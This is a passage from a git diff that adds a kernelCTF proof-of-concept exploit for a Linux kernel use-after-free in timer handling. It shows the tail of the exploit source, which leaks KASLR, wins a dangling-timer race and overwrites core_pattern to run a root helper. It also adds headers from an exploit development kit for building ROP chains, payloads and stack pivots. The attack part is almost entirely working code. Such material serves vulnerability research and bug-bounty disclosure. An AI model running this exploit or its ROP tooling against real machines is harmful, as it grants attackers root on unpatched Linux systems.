sizeof(flag) - 1); + if (n <= 0) + return 1; + while (n && (flag[n - 1] == '\n' || flag[n - 1] == '\r')) + n--; + flag[n] = 0; + int console = open("/dev/console", O_WRONLY | O_NOCTTY); + dprintf(console >= 0 ? console : 1, "[+] FLAG: %s\n", flag); + for (;;) + pause(); +} + +static int trigger_only(void) +{ + pid_t child; + int control_fd; + + setup_target(); + setup_runtime(); + if (!vuln_trigger(&child, &control_fd, true)) + return 1; + delete_ids(attempt_ids, attempt_count); + rcu_quiesce(); + write_byte(control_fd, 'B'); + // @sleep(kernel_func="collect_timerqueue", desc="allow KASAN to report the UAF") + sleep(5); + return 1; +} + +int main(int argc, char **argv) +{ + struct sigaction sa = {}; + sigset_t blocked; + pid_t child; + int control_fd; + + if (argc == 2 && !strcmp(argv[1], "--worker")) + return post_exec_worker(); + if (argc == 2 && !strcmp(argv[1], "helper")) + return root_helper(); + + sa.sa_handler = SIG_IGN; + sigaction(SIGUSR1, &sa, NULL); + sigemptyset(&blocked); + sigaddset(&blocked, SIGUSR1); + sigprocmask(SIG_BLOCK, &blocked, NULL); + pin_cpu(PARENT_CPU); + + if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) + return trigger_only(); + + copy_self(); + setup_target(); + setup_runtime(); + if (!leak_kaslr()) + return 1; + + // @step(name="Winning the dangling timer race") + prepare_timer_slabs(); + if (!vuln_trigger(&child, &control_fd)) + return 1; + + // @step(name="Installing and executing the pipe core helper") + if (!overwrite_core_pattern(child, control_fd)) + return 1; + *(volatile char *)0 = 0; + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/libkernelXDK.a b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/libkernelXDK.a new file mode 100755 index 000000000..523bc7e2a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/libkernelXDK.a differ diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/core.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/core.h new file mode 100755 index 000000000..f577f3d64 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/core.h @@ -0,0 +1,24 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include +#include +#include +#include diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/leak/LeakedBuffer.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/leak/LeakedBuffer.h new file mode 100755 index 000000000..105a427d7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/leak/LeakedBuffer.h @@ -0,0 +1,34 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +class LeakedBuffer { + Target& target_; + std::vector data_; + +public: + LeakedBuffer(Target& target, std::vector data); + + uint64_t Read(uint64_t offset, size_t size); + + std::map GetStruct(const std::string& struct_name, int64_t struct_offset = 0); + uint64_t GetField(const std::string& struct_name, const std::string& field_name, int64_t struct_offset = 0); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/Payload.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/Payload.h new file mode 100755 index 000000000..fcd8c169d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/Payload.h @@ -0,0 +1,227 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * @file Payload.h + * @brief Defines the Payload class for managing a contiguous block of memory. + */ +#pragma once + +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +/** + * @ingroup payloads_classes + * @class Payload + * @brief Manages a dynamic, contiguous block of memory, tracking used sections. + * + * This class provides functionalities to allocate, reserve, release, and write + * data to a buffer. It maintains a separate tracking mechanism to mark which + * bytes in the buffer are considered "used" or "reserved". It also offers + * methods to find empty contiguous blocks for new data. + */ +class Payload { +private: + std::vector data_; ///< @brief The underlying data buffer. + std::vector used_bytes_; ///< @brief Tracks which bytes in `data_` are marked as used. + uint64_t used_size_; ///< @brief The highest offset that has been marked as used. + +public: + /** + * @brief Constructs a new Payload object with a specified size. + * + * Initializes the internal data buffer and a corresponding `used_bytes` + * tracking vector, marking all bytes as free initially. + * + * @param size The total size in bytes for the payload buffer. + */ + Payload(int size); + + /** + * @brief Copy constructor for the Payload class. + * + * Creates a new Payload object by deep-copying the data, used bytes map, + * and used size from another Payload instance. + * + * @param other The Payload object to copy from. + */ + Payload(const Payload& other); + + /** + * @brief Returns the total size of the internal data buffer. + * @return The total size of the buffer in bytes. + */ + size_t Size(); + + /** + * @brief Gets a reference to the raw internal data vector. + * @warning Modifying this vector directly can lead to inconsistencies with `used_bytes_`. + * @return A reference to the underlying `std::vector` data buffer. + */ + std::vector& GetData(); + + /** + * @brief Returns a copy of the data that is currently marked as "used". + * @return A new `std::vector` containing the data from the beginning + * of the buffer up to `used_size_`. + */ + std::vector GetUsedData() const; + + /** + * @brief Checks if a specified range of bytes is free (not marked as used). + * + * @param offset The starting offset in the buffer to check. + * @param len The length of the contiguous block to check. + * @param throws If true, an ExpKitError is thrown if the range is not free + * or out of bounds. If false, it simply returns `false`. + * @return `true` if the entire range is free and within bounds, `false` otherwise. + * @throws ExpKitError if `throws` is `true` and the range is out of bounds or occupied. + */ + bool CheckFree(uint64_t offset, uint64_t len, bool throws = false); + + /** + * @brief Reserves a contiguous block of memory and marks it as used. + * + * This method checks if the specified range is free. If so, it marks the + * bytes as used and returns a pointer to the beginning of the reserved block + * within the internal data buffer. It updates `used_size_` if the new + * reservation extends beyond the previously used area. + * + * @param offset The starting offset in the buffer to reserve. + * @param len The length of the contiguous block to reserve. + * @return A `uint8_t*` pointer to the reserved memory location within the buffer. + * @throws ExpKitError if the range is not free or out of bounds. + */ + uint8_t* Reserve(uint64_t offset, uint64_t len); + + /** + * @brief Releases a previously reserved block of memory. + * + * Marks the specified range of bytes as free. If the released block was + * at the end of the `used_size_` area, `used_size_` is adjusted downwards. + * + * @param offset The starting offset of the block to release. + * @param len The length of the block to release. + */ + void Release(uint64_t offset, uint64_t len); + + /** + * @brief Reserves space for a `uint64_t` at a given offset. + * @warning This function assumes the underlying buffer's memory address + * will not change during its lifetime, which is generally true + * for `std::vector` unless it's resized. + * @param offset The starting offset for the `uint64_t`. + * @return A `uint64_t*` pointer to the reserved memory location. + * @throws ExpKitError if the space is not free or out of bounds. + */ + uint64_t* ReserveU64(uint64_t offset); + + /** + * @brief Reserves space for a `uint32_t` at a given offset. + * @warning This function assumes the underlying buffer's memory address + * will not change during its lifetime, which is generally true + * for `std::vector` unless it's resized. + * @param offset The starting offset for the `uint32_t`. + * @return A `uint32_t*` pointer to the reserved memory location. + * @throws ExpKitError if the space is not free or out of bounds. + */ + uint32_t* ReserveU32(uint64_t offset); + + /** + * @brief Sets a block of bytes in the payload. + * + * Reserves the specified range and then copies data from `src` into it. + * + * @param offset The starting offset in the payload. + * @param src A pointer to the source data to copy. + * @param len The number of bytes to copy. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void Set(uint64_t offset, void* src, size_t len); + + /** + * @brief Sets a block of bytes from a `std::vector` in the payload. + * + * Reserves the necessary space and then copies the bytes from the provided vector. + * + * @param offset The starting offset in the payload. + * @param bytes The `std::vector` containing the data to copy. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void Set(uint64_t offset, const std::vector& bytes); + + /** + * @brief Sets a 32-bit unsigned integer value at a specific offset. + * + * Reserves space for a `uint32_t` and writes the value. + * + * @param offset The starting offset in the payload. + * @param value The `uint32_t` value to set. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void SetU32(uint64_t offset, uint32_t value); + + /** + * @brief Sets a 64-bit unsigned integer value at a specific offset. + * + * Reserves space for a `uint64_t` and writes the value. + * + * @param offset The starting offset in the payload. + * @param value The `uint64_t` value to set. + * @throws ExpKitError if the space is not free or out of bounds. + */ + void SetU64(uint64_t offset, uint64_t value); + + /** + * @brief Finds the first contiguous block of empty (unused) bytes of a given length. + * + * Searches for a free block starting from `min_offset`, respecting optional alignment. + * The algorithm is O(n) where n is the size of the buffer. + * + * @param len The desired length of the empty block. + * @param alignment The required alignment for the found offset (default is 1). + * @param min_offset The minimum offset to start searching from (default is 0). + * @return An `std::optional` containing the found offset if a suitable + * block is found, or `std::nullopt` otherwise. + */ + std::optional FindEmpty(uint64_t len, uint64_t alignment = 1, uint64_t min_offset=0); + + /** + * @brief Creates a snapshot of the current payload state. + * + * Returns a new Payload object that is a deep copy of the current instance's + * data, used bytes, and used size. This can be used for rollback purposes. + * + * @return A new `Payload` object representing the current state. + */ + Payload Snapshot(); + + /** + * @brief Restores the payload state from a given snapshot. + * + * Replaces the current instance's data, used bytes map, and used size with + * those from the provided snapshot. + * + * @param snapshot The `Payload` object to restore from. + */ + void Restore(const Payload& snapshot); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/PayloadBuilder.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/PayloadBuilder.h new file mode 100755 index 000000000..650f2c2aa --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/PayloadBuilder.h @@ -0,0 +1,193 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * @file PayloadBuilder.h + * @brief Defines the PayloadBuilder class for constructing complex exploit payloads. + */ +#pragma once + +#include +#include +#include +#include + +// Project-specific includes +#include +#include +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +/** + * @ingroup payloads_classes + * @brief Helper struct to encapsulate payload data for the builder. + * + * This struct groups a Payload object, associated registers, and an optional + * offset for the next RIP (Instruction Pointer). + * + * @note The `registers` member is stored by value, meaning a copy is made. + */ +struct PayloadData { + Payload& payload; ///< @brief Reference to the Payload object. + const std::vector registers; ///< @brief Registers pointing to this buffer when RIP control is triggered. + const std::optional rip_ptr_offset; ///< @brief Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + + /** + * @brief Constructs a PayloadData instance. + * @param payload_ref Reference to the Payload. + * @param regs Optional vector of Registers pointing to this buffer when RIP control is triggered (defaults to empty). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + PayloadData(Payload &payload_ref, + const std::vector ®s = {}, + std::optional rip_ptr_offset = std::nullopt) + : payload(payload_ref), registers(regs), rip_ptr_offset(rip_ptr_offset) + { + } +}; + + +/** + * @ingroup payloads_classes + * @brief Converts a 64-bit unsigned integer to its hexadecimal string representation. + * @param value The 64-bit unsigned integer to convert. + * @return A `std::string` containing the "0x" prefixed hexadecimal representation + * of the value (uppercase). + */ +std::string intToHex(uint64_t value); + + +/** + * @ingroup payloads_classes + * @class PayloadBuilder + * @brief A class designed to construct and optimize exploit payloads. + * + * This builder manages multiple payload components, ROP (Return-Oriented Programming) + * chains, and stack pivots to create a cohesive and functional exploit payload. + * It attempts to find suitable stack pivots and apply ROP actions efficiently. + * + * @details + * The implementation tracks `StackShiftingInfo` for every `RopAction`. If two actions + * can be stored adjacently, the `StackShiftingInfo` between them will represent an empty shift. + */ +class PayloadBuilder { +public: + /** + * @brief Constructs a PayloadBuilder instance. + * @param pivots Available stack pivot gadgets. + * @param kaslr_base The Kernel Address Space Layout Randomization base address. + */ + PayloadBuilder(const Pivots &pivots, uint64_t kaslr_base) : pivots_(pivots), kaslr_base_(kaslr_base){} + + /** + * @brief Adds a new payload component to the builder. + * @param payload A reference to the Payload object to add. + * @param registers Optional vector of Registers pointing to this buffer when RIP control is triggered (defaults to empty). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + void AddPayload(Payload& payload, + const std::vector& registers = {}, + std::optional rip_ptr_offset = std::nullopt); + + /** + * @brief Adds a new payload component with an optional single register. + * @param payload A reference to the Payload object to add. + * @param reg Optional register pointing to this buffer when RIP control is triggered (defaults to nullopt - so no register points to this buffer). + * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field. + */ + void AddPayload(Payload& payload, + std::optional reg = std::nullopt, + std::optional rip_ptr_offset = std::nullopt); + + /** + * @brief Appends a ROP chain to the builder's sequence of ROP actions. + * @param rop_chain The RopChain object to add. + */ + void AddRopChain(const RopChain& rop_chain); + + /** + * @brief Uses stack shift gadgets to shift the stack by at least shift_value. + * + * This method is useful for moving the rop chain towards the end of the buffer. + * This can prevent function calls from clobbering data before the buffer. + * + * @param shift_value Shifts the stack by at least shift_value. + */ + void SetRopShift(const uint64_t shift_value); + + /** + * @brief Attempts to build the final payload. + * + * This method tries to find a suitable stack pivot, applies it to the + * payload, and then attempts to integrate all ROP actions, performing + * stack shifts as necessary. + * + * @param need_pivot If true, the builder will explicitly look for a pivot (defaults to `true`). + * @return `true` if a successful payload is built, `false` otherwise. + * @throws ExpKitError if multiple RIP offsets are found when `need_pivot` is true. + */ + bool Build(bool need_pivot = true); + + /** + * @brief Prints debug information about the built payload, if successful. + * + * This includes details about the chosen stack pivot, stack shifts, and ROP chain layout. + */ + void PrintDebugInfo() const; + + /** + * @brief Returns the chosen stack pivot + * + * This function may be called after Build() to get the stack pivot gadget that was chosen. + */ + StackPivot GetStackPivot(); + +private: + /** + * @brief Attempts to apply a given stack pivot to a payload and integrate ROP actions. + * @param payload A reference to the Payload object to modify. + * @param pivot The StackPivot to try. + * @return `true` if the pivot and all ROP actions can be successfully applied, `false` otherwise. + */ + bool TryPayloadPivot(Payload& payload, StackPivot pivot); + + /** + * @brief Estimates the contiguous free space after a given offset in a payload. + * + * This helper function is used during the build process to evaluate potential + * payload layouts. It assumes 8-byte (uint64_t) alignment for free space. + * + * @param payload A reference to the Payload object. + * @param offset The starting offset from which to estimate free space. + * @return The estimated available free space in bytes. + */ + uint64_t EstimatePayloadSpaceAfter(Payload& payload, uint64_t offset); + + std::vector payload_datas_; ///< @brief List of payload components to integrate. + std::vector rop_actions_; ///< @brief Sequence of ROP actions to execute. + uint64_t rop_shift_ = 0; ///< @brief Minimum shift before the rop payload inserted + Pivots pivots_; ///< @brief Available stack pivot gadgets. + uint64_t kaslr_base_; ///< @brief The Kernel Address Space Layout Randomization base address. + std::optional chosen_pivot_; ///< @brief The pivot chosen during the build process. + std::optional chosen_payload_; ///< @brief The final constructed payload. + std::vector chosen_shifts_; ///< @brief Information about stack shifts performed during the build. +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/RopChain.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/RopChain.h new file mode 100755 index 000000000..e3e8647f5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/payloads/RopChain.h @@ -0,0 +1,143 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup payloads_classes Payloads Classes + * @brief Classes for generating and managing payloads. + */ + +// Forward declarations for types used in the header if their full definitions +// are not strictly needed (e.g., if only pointers/references are used), +// but in this case, the full definitions are likely needed due to value types. +// struct RopAction; // Already fully defined below +// class Target; // Already fully defined below + + +/** + * @ingroup payloads_classes + * @brief Represents a single ROP (Return-Oriented Programming) action. + * + * A RopAction is a sequence of 64-bit values that form part of a ROP chain. + * These values can represent addresses, immediate data, or arguments for gadgets. + */ +struct RopAction { + /** + * @brief The sequence of 64-bit values comprising this ROP action. + */ + std::vector values; +}; + +/** + * @ingroup payloads_classes + * @class RopChain + * @brief Manages an ordered sequence of ROP actions to form a ROP chain. + * + * The RopChain class allows for the construction of complex ROP chains + * by adding individual ROP actions or raw 64-bit values. It handles + * KASLR (Kernel Address Space Layout Randomization) offsets and + * argument substitution for actions defined by a Target. + */ +class RopChain { +public: + /** + * @brief Constructs a new RopChain. + * @param target A reference to the Target object which provides definitions for ROP actions. + * @param kaslr_base The base address for KASLR, used to adjust symbol addresses. + */ + RopChain(Target &target, uint64_t kaslr_base); + + /** + * @brief Adds a predefined ROP action to the chain. + * + * This method retrieves the sequence of ROP items for a given action ID + * from the associated Target and constructs a RopAction, substituting + * arguments and applying KASLR offsets where necessary. + * + * @param id The ID of the ROP action to add. + * @param arguments A vector of 64-bit arguments to substitute into the action. + * The index of an argument in this vector corresponds to its + * `item.value` when `item.type == RopItemType::ARGUMENT`. + * @throw ExpKitError If an unexpected RopAction item type is encountered or + * if there are not enough arguments provided for an action. + */ + void AddRopAction(RopActionId id, std::vector arguments = {}); + + /** + * @brief Adds a raw 64-bit item directly to the ROP chain as a single-value action. + * + * This is useful for adding arbitrary values (e.g., stack pivots, return addresses, + * or immediate values) that are not part of a predefined RopAction. + * + * @param item The 64-bit value to add. + * @param offset If true, the `kaslr_base_` will be added to the item. + * Defaults to false. + */ + void Add(uint64_t item, bool offset = false); + + /** + * @brief Retrieves the entire ROP chain as a vector of bytes. + * + * The 64-bit items in the chain are converted to a contiguous byte array. + * This is useful for writing the ROP chain directly to memory or a file. + * + * @return A `std::vector` representing the ROP chain in byte format. + */ + std::vector GetData() const; + + /** + * @brief Retrieves the entire ROP chain as a vector of 64-bit words. + * + * This method collects all individual 64-bit values from the sequence of + * RopActions into a single flat vector. + * + * @return A `std::vector` representing the ROP chain as 64-bit words. + */ + std::vector GetDataWords() const; + + /** + * @brief Calculates the total size of the ROP chain in bytes. + * @return The total size of the ROP chain in bytes. + */ + uint64_t GetByteSize() const; + + /** + * @brief Retrieves the list of individual RopAction objects that compose this chain. + * @return A `std::vector` containing all added ROP actions. + */ + std::vector GetActions() const; + + /** + * @brief The KASLR base address used for symbol offsetting. + */ + uint64_t kaslr_base_; + + /** + * @brief Stores the ordered sequence of ROP actions. + */ + std::vector actions_; + +private: + /** + * @brief A reference to the Target object, providing definitions for ROP actions. + */ + Target& target_; +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/PivotFinder.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/PivotFinder.h new file mode 100755 index 000000000..9fc42a5ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/PivotFinder.h @@ -0,0 +1,257 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Encapsulates information about a successful ROP pivot. + */ +struct RopPivotInfo { + /** @brief The ROP chain being pivoted to. */ + const RopChain& rop; + /** @brief The chosen stack pivot gadget. */ + StackPivot pivot; + /** @brief The minimum required offset for the ROP chain after shifting. */ + uint64_t rop_min_offset; + /** @brief The actual offset within the payload where the ROP chain is placed. */ + uint64_t rop_offset; + /** @brief Information about the stack shifting performed. */ + StackShiftingInfo stack_shift; + + /** + * @brief Prints debug information about the ROP pivot. + * + * This includes details about the selected stack pivot, stack shifts, and ROP chain offset. + */ + // TODO: make this more universal + void PrintDebugInfo() const; +}; + +/** + * @ingroup pivot_classes + * @class PivotFinder + * @brief Finds suitable stack pivots and stack shifting gadgets within a payload. + */ +class PivotFinder { + Pivots pivots_; + std::set buf_regs_; + Payload& payload_; + + /** + * @brief Internal helper function to find stack pivot gadgets. + * + * This function searches for both one-gadget and push/indirect/pop RSP + * style pivots that are compatible with the current payload state and buffer registers. + * + * @param only_one If true, stops after finding the first suitable pivot. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return A vector of found StackPivot objects. + */ + std::vector FindInternal(bool only_one, + uint64_t free_bytes_after = 0); + + /** + * @brief Sorts the internal lists of pivot gadgets by their next RIP offset or shift amount. + * + * Sorting helps in finding the most suitable gadgets efficiently. + */ + void SortFields(); + +public: + /** + * @brief Constructs a PivotFinder object with a single buffer register. + * + * @param pivots The collection of available pivot gadgets. + * @param buf_reg The single register pointing to the target buffer. + * @param payload The payload object to operate on. + */ + PivotFinder(const Pivots& pivots, Register buf_reg, Payload& payload); + + /** + * @brief Constructs a PivotFinder object with multiple buffer registers. + * + * @param pivots The collection of available pivot gadgets. + * @param buf_regs A vector of registers pointing to the target buffer. + * @param payload The payload object to operate on. + */ + PivotFinder(const Pivots& pivots, std::vector buf_regs, + Payload& payload); + + /** + * @brief Checks if a given register usage is compatible with the buffer registers + * and doesn't overlap with reserved space in the payload. + * + * @param reg The RegisterUsage to check. + * @return True if the register usage is valid for pivoting, false otherwise. + * @note This function has TODOs related to more advanced checks for RIP control and skipping used space. + */ + bool CheckRegister(const RegisterUsage& reg); + + /** + * @brief Checks if a One-Gadget pivot is valid for the current payload state. + * + * @param pivot The OneGadgetPivot to check. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return True if the One-Gadget pivot is valid, false otherwise. + */ + bool CheckOneGadget(const OneGadgetPivot& pivot, + uint64_t free_bytes_after = 0); + + /** + * @brief Checks if a Push/Indirect pivot is valid for the current payload state. + * + * @param pivot The PushIndirectPivot to check. + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return True if the Push/Indirect pivot is valid, false otherwise. + */ + bool CheckPushIndirect(const PushIndirectPivot& pivot, + uint64_t free_bytes_after = 0); + + /** + * @brief Finds all suitable stack pivot gadgets. + * + * @return A vector containing all found StackPivot objects. + */ + std::vector FindAll(); + + /** + * @brief Finds a stack shift gadget with a shift amount greater than or equal + * to `min_shift` and less than `upper_bound`. + * + * @param min_shift The minimum required stack shift amount. + * @param upper_bound The exclusive upper bound for the stack shift amount. + * @return An optional StackShiftPivot if a suitable gadget is found, otherwise `std::nullopt`. + */ + std::optional FindShift( + uint64_t min_shift, + uint64_t upper_bound = std::numeric_limits::max()); + + /** + * @brief Finds a single suitable stack pivot gadget. + * + * @param free_bytes_after The minimum number of free bytes required after the pivot's next RIP offset. + * @return An optional StackPivot object. Contains a value if a pivot is found, otherwise `std::nullopt`. + */ + std::optional Find(uint64_t free_bytes_after = 0); + + /** + * @brief Finds a sequence of stack shift gadgets to shift the stack pointer + * from a given offset to at least a minimum target offset. + * + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset The minimum desired offset for the stack pointer. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + */ + std::optional GetShiftToOffset(uint64_t from_offset, + uint64_t min_to_offset); + + /** + * @brief Finds a sequence of stack shift gadgets to shift the stack pointer + * to accommodate a ROP chain of a given size. + * + * @param from_offset The starting offset of the stack pointer. + * @param byte_size The size of the ROP chain in bytes. + * @param include_extra_slot If true, includes an extra 8 bytes in the required space. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + */ + std::optional GetShiftToRop(uint64_t from_offset, + uint64_t byte_size, + bool include_extra_slot, + uint64_t min_rop_start = 0 + ); + + /** + * @brief Internal helper function to find a sequence of stack shift gadgets using a breadth-first search. + * + * The search aims to find a path of stack shifts that results in a stack pointer + * offset that meets either the minimum target offset or provides sufficient free space. + * + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset An optional minimum desired offset for the stack pointer. + * @param min_next_space An optional minimum required free space at the final stack pointer offset. + * @return An optional StackShiftingInfo object. Contains a value if a sequence of shifts is found, otherwise `std::nullopt`. + * @throws ExpKitError if both `min_to_offset` and `min_next_space` are not set. + */ + std::optional FindShiftsInternal( + uint64_t from_offset, std::optional min_to_offset, + std::optional min_next_space); + + /** + * @brief Converts a chain of StackShiftPivot gadgets into a StackShiftingInfo structure. + * + * This function calculates the resulting offsets and populates the `StackShiftInfo` + * vector based on the provided chain of gadgets and the starting offset. + * + * @param chain The vector of StackShiftPivot gadgets forming the chain. + * @param from_offset The starting offset of the stack pointer before the shifts. + * @return A StackShiftingInfo structure describing the sequence of shifts. + */ + StackShiftingInfo GetShiftInfoFromChain( + const std::vector& chain, uint64_t from_offset); + + /** + * @brief Applies a sequence of stack shifts to the payload to reach at least a minimum target offset. + * + * @param kaslr_base The Kernel Address Space Layout Randomization base address. + * @param from_offset The starting offset of the stack pointer. + * @param min_to_offset The minimum desired offset for the stack pointer. + * @return The final offset of the stack pointer after applying the shifts. + * @throws ExpKitError if a suitable stack shift gadget sequence cannot be found. + */ + uint64_t ApplyShift(uint64_t kaslr_base, uint64_t from_offset, + uint64_t min_to_offset); + + /** + * @brief Attempts to find a stack pivot and a sequence of stack shifts + * to pivot to a given Rop chain. + * + * @param rop The ROP chain to pivot to. + * @return A RopPivotInfo structure containing information about the successful pivot and shifts. + * @throws ExpKitError if a suitable pivot and shift sequence cannot be found. + * @note This function iterates through found pivots and attempts to apply shifts until a working combination is found. + */ + RopPivotInfo PivotToRop(const RopChain& rop); + + /** + * @brief Finds a simple "pop rsp; ret" gadget that doesn't change the stack + * before the RSP update and has its next RIP immediately after the gadget. + * + * @return An optional PopRspPivot. Contains a value if such a gadget is found, otherwise `std::nullopt`. + */ + std::optional GetPopRsp(); + + /** + * @brief Finds a simple "ret" gadget that shifts the stack by 8 bytes and jumps to the shifted location. + * + * @return A StackShiftPivot representing a simple "ret". + */ + StackShiftPivot GetSingleRet(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/Pivots.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/Pivots.h new file mode 100755 index 000000000..b9eb0e36c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/Pivots.h @@ -0,0 +1,120 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Enum representing the type of indirect jump. + */ +enum class IndirectType { 